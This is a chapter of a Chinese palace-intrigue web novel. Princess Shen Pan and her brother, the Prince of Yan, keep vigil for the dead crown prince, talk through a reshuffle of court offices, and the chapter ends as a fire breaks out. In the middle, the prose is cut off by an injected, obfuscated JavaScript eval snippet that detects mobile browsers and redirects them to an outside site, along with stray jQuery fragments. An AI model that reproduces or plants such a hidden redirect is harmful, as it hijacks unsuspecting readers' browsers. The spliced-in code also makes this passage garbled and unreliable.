迫于朝廷的压力,永济帝还是下旨召回了戍守东北的燕王沈斫。
他从东北至化隆承天殿、再从承天殿到丽正殿、最后从丽正殿到紫微宫的那天,是太子沈碣的二七。二七不需要哭灵,一切祭祀从简,但十四天过去了,太子还不曾下葬。
宫里说,陛下觉得对不起这个儿子,硬是要选一个黄道吉日才放下葬。他龙体欠安,心向往而身不能至,便是又设道场又升梵唱,停灵的紫微宫长生殿十二个时辰香烛不灭。
但沈磐觉得,这不过是他和内阁那群堪称骂官的儒生们还没谈妥的表现。
最着急想逼太子下葬的那个人其实就是永济帝。墓室一封,所有的对错功过全都烂在了地下,他求之不得。但内阁不允许,尤其是梅依径,梅家门生广布天下,哪怕太子起兵实为造反,君父不察、错杀爱子这样的污点也能将骄傲了大半辈子的皇帝打得抬不起头,梅依径有这个本事让泥点子成为瓢泼大雨。
毕竟,皇帝都这么老了。
他已经不是从前那个一次廷杖一口气打死数十位拖朱曳紫的大官而面不改色心不乱的永济帝了。
要和朝中那么一群最善掰扯也最爱掰扯的老头子打交道,他力不从心。
沈磐带着沈斫一起送过前来悼唁的最后一批朝臣。
照理说,这是今天的最后一批。
今天是上元节,历年宫中都要大操大办,何况开年官员选调任命还在御书房和文正殿间博弈,大小官员为了头上那顶乌纱帽都急眼地盯着京城,哪怕是一把火把紫微宫皇家陵园烧得干净,他们恐怕也不会过分着急。
“公主,燕王。”
沈磐颔首:“卿藩台,嵇侯爷。”
卿澈又拜道:“下官已经不是南海道布政使了。”
沈磐刻意惊诧,看向站在一边气焰逼人的嵇阀。粗略看去,他弟弟嵇阚如果是落草为寇的山大王,那他看上去就讲理些,的确有幅正气凛然的将军样,但嵇阑斯文俊秋得怕是连菜刀都不敢拿,更兼他们的容貌是天差地别,无怪他心生疑窦。
他们的确不像父子。
嵇阀拱手解释道:“陛下召卿藩台回京,现在是天官冢宰、吏部尚书。”
“那就是枢相了。”
卿澈慌忙道:“不敢,公主这样的称呼下官担不得。”
沈磐一扯嘴角,不再说话。
大楚的礼法早就乱了,叫他枢相又或者是首辅有什么区别?
眼见着沈磐的脸色更冷得可怕,沈斫只能等送卿澈去偏殿祭拜他那以身护主、忠贞不二的弟弟卿澄之后,才能在长生殿的角落里轻轻扯一下她的袖子。
沈磐拍拍他的手背,“累了吧?”
“磐磐,方尚书他……被换了?”
沈磐不说话,正好嵇阀从偏殿出来,朝他们行礼,“二位殿下,末将临行前入宫拜见陛下,陛下思念两位皇孙,特许今夜上元佳节在紫微宫起花灯,‘一慰皇孙之心,二慰逝者之情’。”
沈磐朝南边蹲身行礼,“陛下厚爱。”
她起身朝嵇阀道:“卿尚书思念亡弟,嵇侯爷护送尚书大人一路定然辛劳,不妨先去无寿殿整顿休憩,紫微宫斋饭清淡,倒也勉强果腹。”
嵇阀没有推辞。
待嵇阀走后,沈磐这才冷笑:“吏部尚书掌选官重权,可与内阁首辅分庭抗礼,向来二者不可得兼,陛下要提拔方尚书当首辅,这天官自然要由别人做。”
“那冉先生岂不是……”
沈磐敛容,“宫里天翻地覆,嵇阀五年不满就从西北回来,陛下更连卿伯鹤都从南海道召了回来,看得出他为了平衡时局、不落下风,是拼上老本了。”
见沈斫思虑萦心,她叹气:“别想了,等晚点时候张永一从化隆回来就什么都能知道了。今晚要点花灯,你就别守夜了,去陪着璩儿、玥儿……紫微宫里还建着大楚的架格大库,里面是天下州府的鱼鳞图册,还有我大楚开国至今户部所有的账目,不能见一点火,你要指挥长缨卫要好好巡逻。”
正叮嘱着,卿澈失魂落魄地从偏殿走出,沈磐刚要上前,就见他浑浑噩噩,竟然没看见前方高高的门槛,径直撞了上去。
沈斫再眼疾手快也无法转瞬间飞至眼前,好在卿澈是双手着地,没有摔得头破血流,却听得“咔擦”一声,卿澈的左手支撑不住,他整个人就朝左侧翻去。
“卿尚书!”
沈斫略一看过他的左臂,“骨折了。”
“去请医官吧,再去通知忠义侯。”
卿澈疼得直冒冷汗,却还喃喃地说:“是臣没看到门槛……是臣的过错……”
“尚书大人,就医要紧,冒犯了。”说罢,沈斫将他打横扛起,飞跑着冲向无寿殿。
嵇阀实在没想到哀思过度的卿澈还能把自己摔骨折了,只能代替卿澈开口向沈磐姐弟叨扰一夜。紫微宫照例不允外臣留宿,但卿澈的胞弟卿澄为了救永济帝以身挡刀,尸首还和太子一起摆在长生殿受着天下香火,实在没有道理拒绝他当哥哥的留宿。
沈磐没理由拒绝,只能命令掌管紫微宫的属官为这两位贵客收拾厢房。
**
“磐磐!”
“不是让你陪他们去看灯,你怎么还来了?”
沈斫放下门帘,从怀里摸出一包糕饼,低声朝沈磐笑道:“晚上你就吃那么一点,夜里饿得肚子咕咕乱叫,小心吓到殿上添香油的小仆。”
沈磐笑着横他一眼,“哪里来的?紫微宫的灶上可蒸不出这些花里胡哨的东西。”
沈斫拆开油纸向她献宝,“永一有点事,要再晚点回来,就让义然带着京里的消息先来的紫微宫。你以前不是挺喜欢这家的鞋底酥?永一就嘱咐义然顺路买了一并带来。”
沈磐一时沉默。
沈斫还兀自翻着纸包里的糕饼,突然看见鞋底酥里掺着的别样点心,他一愣,旋即笑了起来:“哈,永一真是细致,怕你吃着腻,还买了别的样式口味……”
“那是彩香记的梅子饼吧?供不应求,一点都不顺路。”
沈斫反而笑道:“那就更要感谢永一了,他的心思又细腻更难得,让我都能饱饱口福!啊阿姐!”
沈磐一把将糕饼抢了过来,“我是要守夜的,你都吃了我吃什么?”
“哈哈,阿姐也太小气了……”
沈磐睨他:“现在知道叫阿姐了?”
沈斫笑,撩袍在一边坐下,“果然如阿姐所说,现在方尚书成了方首辅,就是冉先生……唉,陛下派他去南海道料理海防。”
“好歹有个去处。”沈磐将糕饼重新包好,“既然去南海道,那职务可敲定了?”
“还没。可怜冉先生,南下一趟艰险万分……”
沈磐给他斟茶,“南边未必不是个好去处,卿伯鹤居南海道多年,早就把海寇蛮夷收拾殆尽,冉先生到那里去也能清闲养老、保卒余年。”
沈斫只能点头,喝茶润过嗓,这才继续道:“还有就是梅阁老,直接向陛下辞官了,宫里传闻说是只要梅阁老辞了官,陛下就会把他的两个侄子一起提拔,两位侍郎全成为尚书,分掌礼部和户部,虽未入阁,但梅家的门第不算衰微,所以梅阁老才会答应。”
沈磐不说话,低头给自己也倒了杯茶,茶水还有热气,但喝着已经嫌冷。
见状,沈斫接过茶壶,“这茶对我来说正好,都归我喝了,一会儿再给你热壶好的。”
说着,他对着壶嘴就灌了下去。
沈磐无奈,“多大的人了,还和小时候一样,我会短你一口喝的?”
“哈,阿姐方才连块饼都不肯给。”
“谁不给你了?才吃完饭你还有肚子吃这个?别贫嘴了,梅依径走了,那这左都御史之职怎么办?”
“这就没说了,估计还在衡量吧。对了,襄阳侯得了重病,就顺势也辞官了,大将军霍辄在五柞宫护驾有功,其弟霍轶假传圣旨、蒙蔽圣听、谋逆造反,他们霍家功过相抵,陛下就不追究了,但还是给了霍辄一个锦麟卫指挥使。”
“那乔晏呢?”
“他的父亲乔致用曾在西南戍守多年,照理说朝廷不会再派他去西南,但陛下感念他的忠心,就打算让他去当南越将军、掌管西南、封疆一方。”
沈磐摩挲杯口,“那阴阳卫由谁接管?”
“他既然要当南越将军,现任南越将军就来当这个指挥使。”
沈磐的脸色顿时难看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090525|192089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“伴君如伴虎,阴阳卫指挥使再风光哪里比封疆大吏来得体面?况且我记得,前任南越将军是嵇阚,现在的南越将军江之万新官上任才不到一年吧?让位极人臣的四大将军委身当一个小小指挥,不仅要结怨,还是在打他的脸……”
“但现在的南越将军叫江之万,他曾是乔致用的部下后来又追随了嵇阚。他爹岌岌无名,若没有乔致用提拔,他也见不到嵇阚、也到不了现在的位子。我还记得他爷爷倒是有些来头,是升平年间东宫长缨卫指挥使江聿洲,不仅参加过南巡平定南海道叛乱、还曾剿灭逆党,听说与乔致用等人颇有交情。”
沈磐摇头:“好竹也能生歹笋,只希望是我多虑了。”
沈斫笑道:“磐磐你定然是多想了,想得太多郁结你自己肝肺——”
“别打岔!陛下此举若非是出自真心,那就是在拱火!嵇阀是靖臣将军,现在回了京,陛下要提拔乔晏,理应先送他去西北,若他被派去了西南,那这西北的位子又要留给谁?难道是嵇阚?”
“对,就是嵇阚,他立了这么大的功,陛下不仅给他封了侯,是为勇毅侯,还要让他去西北接替他哥哥的靖臣将军位。”
“看来嵇阀是要长久地留在化隆了。”
想到这个,沈斫心情有些回落:“嵇阑也有了官身,他杀了虎贲卫指挥使霍轶,那他就成了新任指挥使。”
沈磐点头,见他眼中郁郁,不禁问道:“你在胡思乱想什么?”
沈斫摇摇头,继续细数:“乔指挥使马上就是乔将军,他的连襟房侍郎也要升官,现在已经是兵部尚书了。还有英国公的次子辛鋆担任玄武卫指挥使,其他的就没有什么要紧的人事变动了。对了,永一的指挥使告身昨日就送到梁国长公主那儿了,长公主的身体不太好,陛下希望这样的好消息能让她宽心。”
的确,不过一年,张永一就从来时的小小千户逐步晋升为三品指挥使,手掌东宫长缨卫,在品阶上,和霍辄、江之万等黄沙百炼的宿将没有两样。
沈斫眼里尽是欣赏。
的确,坐到这个位子上,未尝不是他的本事。
沈磐长舒一口气,“二哥也能放心了。”
“磐磐。”
沈斫刚起调,沈磐就知道他要说什么,“我的事你不用担心。”
“可是现在已经无人逼迫,嵇阑得了这样的官,他父亲的爵位是一定要传给他了,他也不再需要依靠尚主来抢爵位了。且陛下再没提你们的婚事……”
沈磐敛眉:“沈斫,梁国长公主还病着。”
被姐姐一句击中要塞,沈斫只能坦白:“张永一不好吗?过去的一年里你们相处了很多,他怎么样你难道还看不出吗?”
听见这样的恳切之言,沈磐突然就有些累。
那天一觉醒来,屋里没有烧炭,冷得很,但张永一的怀抱足够温暖,所以她不应该会觉得冷。
但她心里冷极了,尤其是听张永一说,他答应了太子,会永远做她的不二臣,所以哪怕为了太子,也求她不要疏远他、放弃他、赶走他。
“沈斫……算了,你不懂得这些。”
沈斫本想再争上一争,可他也有些累了,“只要阿姐高兴就好。”
沈磐扶着额头闭目修养。
一想到这些事情,她就觉得头疼。
她不得不去想些简单的事情,诸如霍家功过相抵,陈王无罪,再过些日子就要受封兖王,可是永济帝先后调回了嵇阀和卿澈,又委霍辄以重任,左迁冉琢明等人,方继昌因为被太子禁闭武英殿故而无形中得了永济帝的信任,但乔晏明升暗贬,房桂稻拿捏兵部却拿捏不了跟着霍辄起家的武将……
这一桩桩一件件,看着是局势大好,实际上暗潮汹涌。
最重要的是,东宫已空,而今当由谁承储位?
父死子继,兄终弟及,处处都是道理,处处都有文章。
一刹那间,沈磐觉得这些最简单不过的事情也复杂起来,而她和张永一之间不可见日又说不清道不明的关系反倒明了起来。
她的头更痛了。
可是她闻见了一些不寻常的味道。
沈磐挣扎着醒来。
一睁眼,火海汹涌。